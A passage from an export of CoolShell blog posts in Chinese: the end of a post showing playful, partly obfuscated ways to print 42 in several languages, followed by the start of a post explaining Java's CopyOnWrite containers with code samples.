日。</p>\n<p>[javascript]alert((!![]+ -~[])*(!![]+ -~[])+\"\"+(!![]+ -~[]))[/javascript]</p>\n<p>解释：[]是个空，![]就是true，~[]是-1, 于是，表达式就这样出来了。变态！</p>\n<p>[javascript]var ________ = 0.023809523809523808, ____ = 1, ___ = 0, __ = 0, _ = 1;</p>\n<p>       __ –           ___<br/>\n     /_  |0        //     \\\\<br/>\n    /_/   0     //          \\\\<br/>\n   /_/_  |0                //<br/>\n  /_/_   |0              //<br/>\n /_/____ |_           //<br/>\n/________|0        //<br/>\n         |0     //______________[/javascript]</p>\n<p>解释：这个其实是代码混乱的技巧之一，用下划线当变量。你可以参考《<a href=\"https://coolshell.cn/articles/933.html\" target=\"_blank\">如何加密/混乱C源代码</a>》和《<a href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\">6个变态的C语言Hello World程序</a>》</p>\n<h4>Shell</h4>\n<p><code class=\"EnlighterJSRAW\">echo \"what is the universe\"|tr \"a-z \" 0-7-0-729|sed 's/9.//g;s/-/+/'|bc</code></p>\n<p>解释：其中，bc是一个计算器。tr是一个字符转换的命令，比如：<code>echo \"good\" | tr \"good\" \"test\"</code>输出 <code>tsst</code>。也就是说，g-t, o-e, o-s, d-t的映射，o被映了两次，所以，第二次会覆盖第一次。对于上面的<code>tr \"a-z \" 0-7-0-7-729</code>的意思是：abcdefg分别对应01234567，h对应-，ijklmno对应01234567，p对于2，剩下的包括空格都是9。如果你对tr和sed和bc不熟悉的话，可以man一下，关于sed你可以看一下我的《<a href=\"https://coolshell.cn/articles/9104.html\" target=\"_blank\">sed简明教程</a>》</p>\n<pre class=\"EnlighterJSRAW\">#!/bin/bash\n\n#Vertical Version\necho $((2#100))\necho $((2#10))\n\n#Horizontal Version\necho $((2#000100))$((2#00010))</pre>\n<p>解释：2#100的意思就是说，#左边的数说明是“2进制”，右边的数是二进制数“100”，如16#ff就是16进制的ff，也就是十进制的255</p>\n<p><code class=\"EnlighterJSRAW\">echo \"obase=13;6*9\"|bc|figlet</code></p>\n<p>上面的命令输出：</p>\n<pre style=\"font-family: 'Consolas','Courier New', Courier, monospace;\">\n _  _  ____\n| || ||___ \\\n| || |_ __) |\n|__   _/ __/\n   |_||_____|</pre>\n<p>解释：为了使用figlet命令，你还要去安装一个figlet（<a href=\"http://www.figlet.org/\" target=\"_blank\">http://www.figlet.org/</a>）这是一个让你画ASCII图的命令。</p>\n<h4>Python</h4>\n<p>Windows下，给你画个图：</p>\n<div style=\"height: 300px; overflow: auto;\">\n<pre class=\"EnlighterJSRAW\">import win32api, win32con, win32gui\nfrom time import time, sleep\nimport os\n\nw = { 1:[(358, 263), (358, 262), (358, 261), (359, 261), (359, 262), (359, 264), (359, 266), (359, 270), (359, 282),\n     (358, 289), (357, 308), (356, 319), (355, 341), (355, 351), (355, 360), (355, 378), (355, 388), (354, 397),\n     (354, 406), (354, 422), (354, 428), (354, 436), (354, 438), (354, 439), (354, 440), (355, 440), (356, 439),\n     (357, 439), (358, 438), (360, 438), (362, 437), (369, 437), (372, 437), (381, 437), (386, 437), (391, 437),\n     (397, 436), (411, 436), (419, 435), (434, 435), (442, 435), (449, 434), (456, 434), (468, 434), (473, 435),\n     (480, 436), (483, 436), (485, 436), (487, 437), (488, 437), (488, 438), (488, 439), (487, 440), (486, 440),\n     (485, 440), (484, 440), (483, 439), (483, 437), (481, 431), (481, 427), (481, 420), (481, 413), (483, 396),\n     (485, 387), (488, 367), (491, 356), (493, 345), (500, 321), (503, 310), (507, 299), (514, 280), (517, 272),\n     (520, 266), (523, 260), (524, 258), (524, 259), (524, 261), (524, 265), (524, 269), (523, 275), (522, 289),\n     (521, 297), (518, 315), (516, 324), (515, 334), (513, 345), (509, 368), (507, 382), (502, 411), (500, 426),\n     (498, 440), (495, 453), (491, 478), (489, 491), (485, 517), (483, 530), (481, 542), (479, 552), (476, 570),\n     (475, 577), (474, 588), (473, 592), (473, 595), (473, 597), (473, 600), (473, 601), (473, 602), (473, 601),\n     (474, 599), (475, 597), (476, 594), (478, 587)],\n  2:[(632, 305), (634, 306), (636, 309), (639, 314), (641, 319), (645, 330), (647, 337), (649, 353), (649, 362),\n     (649, 372), (649, 384), (645, 409), (639, 436), (636, 448), (632, 459), (627, 470), (623, 479), (613, 497),\n     (608, 503), (599, 512), (595, 514), (591, 514), (587, 513), (581, 504), (578, 498), (576, 483), (575, 476),\n     (575, 469), (579, 454), (582, 447), (591, 436), (595, 432), (600, 430), (605, 429), (617, 432), (624, 437),\n     (639, 448), (646, 455), (654, 461), (662, 469), (679, 484), (686, 491), (702, 504), (710, 509), (718, 512),\n     (727, 514), (744, 515), (752, 515), (767, 512), (774, 510), (779, 508), (783, 505), (788, 499), (789, 495),\n     (789, 486)] }\n\ndef d( x1, y1, x2, y2 ):\n    win32api.SetCursorPos((x1, y1))\n    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)\n    win32api.SetCursorPos((x2, y2))\n    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)\n    sleep(0.01)\n\ndef p( l1 ):\n    l2 = [\"\"]\n    l2.extend(l1)\n    l1.append(\"\")\n    l3 = zip(l2, l1)\n    l3.pop(0)\n    l3.pop(-1)\n    for n in l3:\n        d(n[0][0], n[0][1], n[1][0], n[1][2])\n\nos.startfile(\"C:\\Windows\\system32\\mspaint.exe\")\nsleep(0.5)\nwin32gui.ShowWindow(win32gui.GetForegroundWindow(), win32con.SW_MAXIMIZE)\nsleep(0.5)\n\nfor n in w:\n    p(w[n])</pre>\n</div>\n<p>输出：<img alt=\"\" class=\"aligncenter size-full wp-image-11172\" height=\"240\" src=\"../wp-content/uploads/2014/03/1j0va.png\" width=\"300\"/></p>\n<p>lambda表达式 </p>\n<p><code class=\"EnlighterJSRAW\">&gt;&gt;&gt; p = lambda x: x%2!=0 and True&lt;&gt;&gt; sum(p(i) for i in range(0,6))</code></p>\n<p>解释：对python的lambda表达式或函数式编程不是很清楚的同学可以看一下《<a href=\"https://coolshell.cn/articles/10822.html\" target=\"_blank\">函数式编程</a>》</p>\n<h4>Java</h4>\n<pre class=\"EnlighterJSRAW\">import java.lang.*;\nclass answer_to_everything \n{\n    void static main() \n    {\n        String s = \"Hitchhiker's Guide to the Galaxy\";\n        String s2 = \"Don'tPanic\";\n        String s3 = \"The Restaurant at the End of the Universe.\";\n\n        int arthur_dent = s.length();\n        int ford_prefect = s2.length();\n        int zooey_deschanel = s3.length();\n        int vogon_poetry = arthur_dent + ford_prefect;\n\n        System.out.println(\"         \" + vogon_poetry + \"       \" + zooey_deschanel + \" \" + zooey_deschanel); //in case you're confused, I'm using Zooey to print the big '2', and Vogons to print the big '4'.\n        System.out.println(\"       \" + vogon_poetry + vogon_poetry + \"     \" + zooey_deschanel + \"     \" + zooey_deschanel);\n        System.out.println(\"     \" + vogon_poetry + \"  \" + vogon_poetry + \"    \" + zooey_deschanel + \"       \" + zooey_deschanel);\n        System.out.println(\"   \" + vogon_poetry + \"    \" + vogon_poetry + \"            \" + zooey_deschanel);\n        System.out.println(\" \" + vogon_poetry + \"      \" + vogon_poetry + \"          \" + zooey_deschanel);\n        System.out.println(vogon_poetry + \" \" + vogon_poetry + \" \" + vogon_poetry + \" DA \" + vogon_poetry + \"     \" + zooey_deschanel);\n        System.out.println(\"         \" + vogon_poetry + \"     \" + zooey_deschanel);\n        System.out.println(\"         \" + vogon_poetry + \"    \" + zooey_deschanel + \" \" + zooey_deschanel + \" \" + zooey_deschanel + \" \" + zooey_deschanel);\n    }\n}</pre>\n<p>上面这段看上去平淡无奇，但其亮点是那三个string，这段代码输出：</p>\n<pre style=\"font-family: 'Consolas','Courier New', Courier, monospace;\">\n         42       42 42\n       4242     42     42\n     42  42    42       42\n   42    42            42\n 42      42          42\n42 42 42 DA 42     42\n         42     42\n         42    42 42 42 42</pre>\n<p>别忘了Java也可以混乱代码：</p>\n<pre class=\"EnlighterJSRAW\">\npublic        class         FourtyTwo{ public\nstatic         void         main(String[]args)\n{  new        javax                    .swing.\nJFrame        () {{                    setSize\n(42 /(        42/42                    +42/42)\n*42/ (        42/42                    +42/42)\n,42/(42/ 42+42/42)*         42/(42/42+42/42));\n}public void paint(         java.awt .Graphics\n  g){g.drawPolygon(         new int[]{42,42,42\n              + 42+         42,42+\n              42+42         ,42+42\n              +42 +         42,42+\n              42+42         +42,42\n              + 42+         42,42+42+42,42+42,\n              42+42         },new int[]{42,42+\n              42+42         +42,42+42+42+42,42\n\n+42+42+42+42+42,                  42+42+\n42+42+42+42,42,42,               42+42+42\n,42 +        42+42              ,42}, (42/\n42+42        /42)*              (42/  42 +\n42/42        + 42/             42 +    42 /\n42+42        /42))            ;g.drawPolygon\n( new        int[]           {42+42+42+42+42,\n42+42        +42 +           42+42      , 42+\n42+42        + 42+          42+42        + 42,\n42+42        +42 +          42+42        +42 +\n42,42+42+42+42+42,         42+42          + 42+\n42+42,42+ 42+42+           42+42          +42 +\n\n42+42,42+42+42+42+42+42+42+42,42+42+42+42+42+42,\n42+42+42+42+42+42,42+42+42+42+42+42+42+42,42+42+\n42+42+42+42+42+42},new int[]{42,42 +42,42+42,42+\n42+42,42+42+42,42+42+42+42+42+42,42+42+42+42+42+\n42,42+42+42+42+42,42+42+42+42+42,42+42+42+42,42+\n42+42+42,42},(42/42+42/42+42/42)*((42/42+42/42)*\n(42/42+42/ 42)));};}.setVisible(42*42*42!=42);}}</pre>\n<h4>C/C++</h4>\n<pre class=\"EnlighterJSRAW\">#include\nint main()\n{\n    printf(\"%d\", fprintf( fopen(\"/dev/null\",\"w\"),\n       \"so-popularity-contest\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\") );\n}\n</pre>\n<p>解释：\\b是backspace，fprintf的返回值是写成功数据的长度。</p>\n<div style=\"height: 200px; overflow: auto;\">\n<pre class=\"EnlighterJSRAW\">#include&lt;iostream&gt;\nusing namespace std;\nint main()\n{\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)66&lt;&lt;(char)73&lt;&lt;(char)82;\n    cout&lt;&lt;(char)84&lt;&lt;(char)72&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)68&lt;&lt;(char)69;\n    cout&lt;&lt;(char)65&lt;&lt;(char)84&lt;&lt;(char)72;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;'\\n';\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)95;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)95&lt;&lt;(char)95;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)95;\n    cout&lt;&lt;(char)95&lt;&lt;(char)32&lt;&lt;'\\n';\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)47&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)124&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)124&lt;&lt;'\\n';\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)47&lt;&lt;(char)32&lt;&lt;(char)47;\n    cout&lt;&lt;(char)124&lt;&lt;(char)32&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)124&lt;&lt;(char)95&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)124&lt;&lt;'\\n';\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)47;\n    cout&lt;&lt;(char)32&lt;&lt;(char)47&lt;&lt;(char)32;\n    cout&lt;&lt;(char)124&lt;&lt;(char)49&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)47;\n    cout&lt;&lt;(char)50&lt;&lt;(char)124&lt;&lt;'\\n';\n    cout&lt;&lt;(char)32&lt;&lt;(char)47&lt;&lt;(char)32;\n    cout&lt;&lt;(char)47&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)124&lt;&lt;(char)57&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)84&lt;&lt;(char)79&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)47&lt;&lt;(char)48;\n    cout&lt;&lt;(char)47&lt;&lt;(char)32&lt;&lt;'\\n';\n    cout&lt;&lt;(char)47&lt;&lt;(char)32&lt;&lt;(char)47;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)95;\n    cout&lt;&lt;(char)124&lt;&lt;(char)53&lt;&lt;(char)124;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)47&lt;&lt;(char)48&lt;&lt;(char)47;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;'\\n';\n    cout&lt;&lt;(char)124&lt;&lt;(char)95&lt;&lt;(char)95;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)95;\n    cout&lt;&lt;(char)124&lt;&lt;(char)50&lt;&lt;(char)124;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)47;\n    cout&lt;&lt;(char)49&lt;&lt;(char)47&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;'\\n';\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)124&lt;&lt;(char)32&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)47&lt;&lt;(char)32;\n    cout&lt;&lt;(char)47&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;'\\n';\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)124&lt;&lt;(char)32&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)47&lt;&lt;(char)32&lt;&lt;(char)47;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)95;\n    cout&lt;&lt;(char)95&lt;&lt;(char)32&lt;&lt;'\\n';\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)124&lt;&lt;(char)95&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)124;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)95;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)95;\n    cout&lt;&lt;(char)95&lt;&lt;(char)124&lt;&lt;'\\n';\n    return 0;\n}  </pre>\n</div>\n<p>输出：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11171\" height=\"151\" src=\"../wp-content/uploads/2014/03/42.png\" width=\"182\"/></p>\n<pre class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\n\n#define six  1+5\n#define nine 8+1\n\nint main()\n{\n    printf(\"what do you get when you multiply six by nine?\\n\");\n    printf(\"%i x %i = %i\\n\", six, nine, six*nine);\n}</pre>\n<p>解释：6 x 9 = 42 ???，如果你知道宏只是做简单的字符串替换的话，你就知道six*nine被替换成了1+5*8+1这个表达式了。呵呵。</p>\n<pre class=\"EnlighterJSRAW\">\n        main(c     ,z,_){c==01?\n       main(c+     1,0,c^c):c==2\n      ?z=_[\"#\"     \"#$#%&amp;#%#x'%%\"\n     \"()&amp;(%%x\"             \"$%$(\"\n    \"(&amp;(\"\"*%x\"             \"'%%(\"\n   \"(&amp;(\" \"+%x\"             \"'#%(\"\n  \"(&amp;(\"  \"%#x\"             ],z ?z\n =='x'?main(4,_     ,c*5):main(c\n +1,z,0),main(c    ,z,_+1):00:c\n ==3?(_+-2)==3?    main(_-1,_,\n         32):(     main(\n         c+1,c     ,((2+\n         c)*(z     -35)+\n         _)[\"\"     \"six\"\n         \"*ni\"     \"ne= {   }   \"\n         \"  ;\"     \"      _   ( \"\n         \") [\"     \" 3 ]do {;\"]==\n         32?32     :043),main(c,z\n         ,_+1)     ):putchar(_);}</pre>\n<p>解释：参看<a href=\"http://codegolf.stackexchange.com/questions/21835/most-creative-way-to-display-42/21950#21950\" target=\"_blank\">原文的这个答案</a>里的How-To一节。</p>\n<h4>Brainfuck</h4>\n<p>代码混乱自然少不了brainfuck语言：（更多的奇葩的编程语言请参考《<a href=\"https://coolshell.cn/articles/4458.html\" target=\"_blank\">那些BT雷人的编程语言</a>》）</p>\n<pre style=\"font-family: 'Consolas','Courier New', Courier, monospace;\"> \n         +++++          +++[&gt;+&gt;++&gt;\n        +++&gt;++        ++&gt;+++++&gt;+++++\n       +&gt;+++++       ++&gt;+        ++++\n      +++ &gt;+++       ++++        ++&gt;+\n     +++  ++++                   ++&gt;+\n    +++   ++++                  +++&gt;\n   +++    ++++                 ++++\n  +&gt;+     ++++               ++++\n +++      +&gt;++             ++++\n++++++++&gt;+++++++++       ++++\n++&gt;+++++++++++++++     +\n          &gt;&gt;&gt;&gt;       &gt;&gt;----.++++&gt;       &gt;&gt;&gt;&gt;++.--\n<p>不过，下面这个BrainFuck更无聊，所以顶在了最佳答案上：</p>\n<pre style=\"font-family: 'Consolas','Courier New', Courier, monospace;\">\n           +++++[&gt;++[&gt;+&gt;+        ++&gt;++++&gt;++++&gt;++++&gt;++++++\n          &gt;++++++&gt;+++++++        ++&gt;+++++++++&gt;\n         &gt;+&gt;+&gt;+&gt; &gt;&gt;&gt;+[&gt;       &gt;++&gt;--&gt;&gt;+&gt;&gt;++&gt;+\n        &gt;--            ....<...... ...=\"\">...   ....                       &gt;.&gt;&gt;&gt;&gt;&gt;.<. ..=\"\">..&gt;&gt;&gt;&gt;&gt;.&gt;&gt;.&gt;&gt;&gt;&gt;.<.>...&gt;                    &gt;&gt;&gt;.&gt;&gt;&gt;.\n     &gt;                  .&gt;&gt;&gt;&gt;&gt;.&gt;                 &gt;&gt;&gt;....               ..&gt;.\n   &gt;&gt;.<.>&gt;...&gt;...&gt;..\n  ..&gt;&gt;..&gt;....\n                 ...            .....&gt;...\n                 <...... .=\"\">&gt;&gt;....          .....&gt;...<......>.&gt;&gt;.<. .=\"\">......        ..&gt;&gt;...&gt;.....&gt;.<..>.\n</..></.></......></......></.></.></.></......></pre>\n<p>执行上面的代码，你会得到下面的输出：</p>\n<pre style=\"font-family: 'Consolas','Courier New', Courier, monospace;\">\n      ++++         +++\n    +[&gt;++++    ++[&gt;+   &gt;++    +++\n  +.-   ---   ---    ---\n --.+++++++         +++\n        +++       .++\n        +++      +.-\n        ---    -----.--.</pre>\n<p>再执行上面的代码，会输出：</p>\n<pre>6*7=42</pre>\n<p>如果6*9=42就完美了，就差一步啊……</p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 - CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19612.html\"><img alt=\"50年前的登月程序和程序员有多硬核\" height=\"150\" src=\"../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19612.html\">50年前的登月程序和程序员有多硬核</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11656.html\"><img alt=\"开发团队的效率\" height=\"150\" src=\"../wp-content/uploads/2014/06/software_development-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11656.html\">开发团队的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8387.html\"><img alt=\"Bret Victor – Learnable Programming\" height=\"150\" src=\"../wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8387.html\">Bret Victor – Learnable Programming</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11170.html\">如何用最有创造力的方式输出42</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</pre></body></html>"
  },
  {
    "path": "blogs/rss2html/2014-3-7 Java中的CopyOnWrite容器.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-11219\" height=\"222\" src=\"../wp-content/uploads/2014/03/cow-copy-300x222.jpg\" width=\"300\"/><strong>感谢 <a href=\"http://ifeve.com\" target=\"_blank\">清英</a> 同学的投稿</strong></p>\n<p>Copy-On-Write简称COW，是一种用于程序设计中的优化策略。其基本思路是，从一开始大家都在共享同一个内容，当某个人想要修改这个内容的时候，才会真正把内容Copy出去形成一个新的内容然后再改，这是一种延时懒惰策略。从JDK1.5开始Java并发包里提供了两个使用CopyOnWrite机制实现的并发容器,它们是CopyOnWriteArrayList和CopyOnWriteArraySet。CopyOnWrite容器非常有用，可以在非常多的并发场景中使用到。</p>\n<h4>什么是CopyOnWrite容器</h4>\n<p>CopyOnWrite容器即写时复制的容器。通俗的理解是当我们往一个容器添加元素的时候，不直接往当前容器添加，而是先将当前容器进行Copy，复制出一个新的容器，然后新的容器里添加元素，添加完元素之后，再将原容器的引用指向新的容器。这样做的好处是我们可以对CopyOnWrite容器进行并发的读，而不需要加锁，因为当前容器不会添加任何元素。所以CopyOnWrite容器也是一种读写分离的思想，读和写不同的容器。</p>\n<p><span id=\"more-11175\"></span></p>\n<h4>CopyOnWriteArrayList的实现原理</h4>\n<p>在使用CopyOnWriteArrayList之前，我们先阅读其源码了解下它是如何实现的。以下代码是向ArrayList里添加元素，可以发现在添加的时候是需要加锁的，否则多线程写的时候会Copy出N个副本出来。</p>\n<pre class=\"EnlighterJSRAW\">\npublic boolean add(T e) {\n    final ReentrantLock lock = this.lock;\n    lock.lock();\n    try {\n\n        Object[] elements = getArray();\n\n        int len = elements.length;\n        // 复制出新数组\n\n        Object[] newElements = Arrays.copyOf(elements, len + 1);\n        // 把新元素添加到新数组里\n\n        newElements[len] = e;\n        // 把原数组引用指向新数组\n\n        setArray(newElements);\n\n        return true;\n\n    } finally {\n\n        lock.unlock();\n\n    }\n\n}\n\nfinal void setArray(Object[] a) {\n    array = a;\n}\n</pre>\n<p>读的时候不需要加锁，如果读的时候有多个线程正在向ArrayList添加数据，读还是会读到旧的数据，因为写的时候不会锁住旧的ArrayList。</p>\n<pre class=\"EnlighterJSRAW\">\npublic E get(int index) {\n    return get(getArray(), index);\n}\n</pre>\n<p>JDK中并没有提供CopyOnWriteMap，我们可以参考CopyOnWriteArrayList来实现一个，基本代码如下：</p>\n<pre class=\"EnlighterJSRAW\">\n\nimport java.util.Collection;\nimport java.util.Map;\nimport java.util.Set;\n\npublic class CopyOnWriteMap&lt;K, V&gt; implements Map&lt;K, V&gt;, Cloneable {\n    private volatile Map&lt;K, V&gt; internalMap;\n\n    public CopyOnWriteMap() {\n        internalMap = new HashMap&lt;K, V&gt;();\n    }\n\n    public V put(K key, V value) {\n\n        synchronized (this) {\n            Map&lt;K, V&gt; newMap = new HashMap&lt;K, V&gt;(internalMap);\n            V val = newMap.put(key, value);\n            internalMap = newMap;\n            return val;\n        }\n    }\n\n    public V get(Object key) {\n        return internalMap.get(key);\n    }\n\n    public void putAll(Map&lt;? extends K, ? extends V&gt; newData) {\n        synchronized (this) {\n            Map&lt;K, V&gt; newMap = new HashMap&lt;K, V&gt;(internalMap);\n            newMap.putAll(newData);\n            internalMap = newMap;\n        }\n    }\n}\n</pre>\n<p>实现很简单，只要了解了CopyOnWrite机制，我们可以实现各种CopyOnWrite容器，并且在不同的应用场景中使用。</p>\n<h4>CopyOnWrite的应用场景</h4>\n<p>CopyOnWrite并发容器用于读多写少的并发场景。比如白名单，黑名单，商品类目的访问和更新场景，假如我们有一个搜索网站，用户在这个网站的搜索框中，输入关键字搜索内容，但是某些关键字不允许被搜索。这些不能被搜索的关键字会被放在一个黑名单当中，黑名单每天晚上更新一次。当用户搜索时，会检查当前关键字在不在黑名单当中，如果在，则提示不能搜索。实现代码如下：</p>\n<pre class=\"EnlighterJSRAW\">\npackage com.ifeve.book;\n\nimport java.util.Map;\n\nimport com.ifeve.book.forkjoin.CopyOnWriteMap;\n\n/**\n * 黑名单服务\n *\n * @author fangtengfei\n *\n */\npublic class BlackListServiceImpl {\n\n    private static CopyOnWriteMap&lt;String, Boolean&gt; blackListMap = new CopyOnWriteMap&lt;String, Boolean&gt;(\n            1000);\n\n    public static boolean isBlackList(String id) {\n        return blackListMap.get(id) == null ? false : true;\n    }\n\n    public static void addBlackList(String id) {\n        blackListMap.put(id, Boolean.TRUE);\n    }\n\n    /**\n     * 批量添加黑名单\n     *\n     * @param ids\n     */\n    public static void addBlackList(Map&lt;String,Boolean&gt; ids) {\n        blackListMap.putAll(ids);\n    }\n\n}\n</pre>\n<p>代码很简单，但是使用CopyOnWriteMap需要注意两件事情：</p>\n<p>1. 减少扩容开销。根据实际需要，初始化CopyOnWriteMap的大小，避免写时CopyOnWriteMap扩容的开销。</p>\n<p>2. 使用批量添加。因为每次添加，容器每次都会进行复制，所以减少添加次数，可以减少容器的复制次数。如使用上面代码里的addBlackList方法。</p>\n<h4>CopyOnWrite的缺点</h4>\n<p>CopyOnWrite容器有很多优点，但是同时也存在两个问题，即内存占用问题和数据一致性问题。所以在开发的时候需要注意一下。</p>\n<p><strong>内存占用问题</strong>。因为CopyOnWrite的写时复制机制，所以在进行写操作的时候，内存里会同时驻扎两个对象的内存，旧的对象和新写入的对象（注意:在复制的时候只是复制容器里的引用，只是在写的时候会创建新对象添加到新容器里，而旧容器的对象还在使用，所以有两份对象内存）。如果这些对象占用的内存比较大，比如说200M左右，那么再写入100M数据进去，内存就会占用300M，那么这个时候很有可能造成频繁的Yong GC和Full GC。之前我们系统中使用了一个服务由于每晚使用CopyOnWrite机制更新大对象，造成了每晚15秒的Full 